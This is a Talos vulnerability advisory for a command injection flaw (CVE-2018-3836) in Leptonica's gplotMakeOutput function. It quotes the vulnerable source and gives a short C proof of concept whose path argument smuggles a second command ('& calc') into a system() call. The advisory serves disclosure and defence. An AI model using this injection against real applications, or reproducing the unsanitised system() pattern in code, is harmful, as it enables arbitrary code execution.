Talos Vulnerability Report

TALOS-2018-0516

Leptonica gplotMakeOutput Command Injection Vulnerability

January 22, 2018
CVE Number

CVE-2018-3836

Summary

An exploitable command injection vulnerability exists in the gplotMakeOutput function of Leptonica 1.74.4. A specially crafted gplot rootname argument can cause a command injection resulting in arbitrary code execution. An attacker can provide a malicious path as input to an application that passes attacker data to this function to trigger this vulnerability.

Tested Versions

Leptonica 1.74.4

Product URLs

http://www.leptonica.com/

CVSSv3 Score

7.0 - CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

Leptonica is an open source library mainly used for image processing and analysis. An OS Command Injection vulnerability exists in gplotMakeOutput function. A lack of sanitization of the gplot->cmdname field could allow an attacker to inject an arbitrary command which is later executed via the system function.

Let us take a closer look at the vulnerable function:

Line 374    l_int32
Line 375    gplotMakeOutput(GPLOT  *gplot)
Line 376    {
Line 377    char     buf[L_BUF_SIZE];
Line 378    char    *cmdname;
Line 379    l_int32  ignore;
Line 380
Line 381        PROCNAME("gplotMakeOutput");
Line 382
Line 383        if (!gplot)
Line 384            return ERROR_INT("gplot not defined", procName, 1);
Line 385
Line 386        gplotGenCommandFile(gplot);
Line 387        gplotGenDataFiles(gplot);
Line 388        cmdname = genPathname(gplot->cmdname, NULL);
Line 389
Line 390    #ifndef _WIN32
Line 391        snprintf(buf, L_BUF_SIZE, "gnuplot %s", cmdname);
Line 392    #else
Line 393        snprintf(buf, L_BUF_SIZE, "wgnuplot %s", cmdname);
Line 394    #endif  /* _WIN32 */
Line 395
Line 396    #ifndef OS_IOS /* iOS 11 does not support system() */
Line 397        ignore = system(buf);  /* gnuplot || wgnuplot */
Line 398    #endif /* !OS_IOS */

At line 397 we can see a call to the system function which takes buf as parameter. This variable is created based on the gnuplot application name and the content of the cmdname field. The cmdname field is initialized inside the gplotCreate function :

Line 137    GPLOT  *
Line 138    gplotCreate(const char  *rootname,
Line 139                l_int32      outformat,
Line 140                const char  *title,
Line 141                const char  *xlabel,
Line 142                const char  *ylabel)
Line 143    {
Line 144    char   *newroot;
Line 145    char    buf[L_BUF_SIZE];
Line 146    GPLOT  *gplot;
Line 147
Line 148        PROCNAME("gplotCreate");
Line 149
Line 150        if (!rootname)
Line 151            return (GPLOT *)ERROR_PTR("rootname not defined", procName, NULL);
Line 152        if (outformat != GPLOT_PNG && outformat != GPLOT_PS &&
Line 153            outformat != GPLOT_EPS && outformat != GPLOT_LATEX)
Line 154            return (GPLOT *)ERROR_PTR("outformat invalid", procName, NULL);
Line 155
Line 156        if ((gplot = (GPLOT *)LEPT_CALLOC(1, sizeof(GPLOT))) == NULL)
Line 157            return (GPLOT *)ERROR_PTR("gplot not made", procName, NULL);
Line 158        gplot->cmddata = sarrayCreate(0);
Line 159        gplot->datanames = sarrayCreate(0);
Line 160        gplot->plotdata = sarrayCreate(0);
Line 161        gplot->plottitles = sarrayCreate(0);
Line 162        gplot->plotstyles = numaCreate(0);
Line 163
Line 164            /* Save title, labels, rootname, outformat, cmdname, outname */
Line 165        newroot = genPathname(rootname, NULL);
Line 166        gplot->rootname = newroot;
Line 167        gplot->outformat = outformat;
Line 168        snprintf(buf, L_BUF_SIZE, "%s.cmd", rootname);
Line 169        gplot->cmdname = stringNew(buf);

At lines 168-169 we see that the argument rootname is copied to gplot->cmdname. The variable rootname should represent the root path name for all plotting operations, but because this parameter can be dynamically set based on data coming from a user it should be sanitized.. A malicious user can create a path containing one of several special characters [ | , &, ] which allows for adding additional command and which in consequence can lead to arbitrary code execution.

Exploit Proof-of-Concept

#include "allheaders.h"
int main()

    GPLOT       *gplot;
    gplot = gplotCreate("/tmp/lept/histo/color & calc ", GPLOT_PNG,
        "color histogram with octcube indexing",
        "octcube index", "number of pixels in cube");
    gplotMakeOutput(gplot);
    return 0;

Timeline

2018-01-22 - Vendor Disclosure
2018-02-01 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.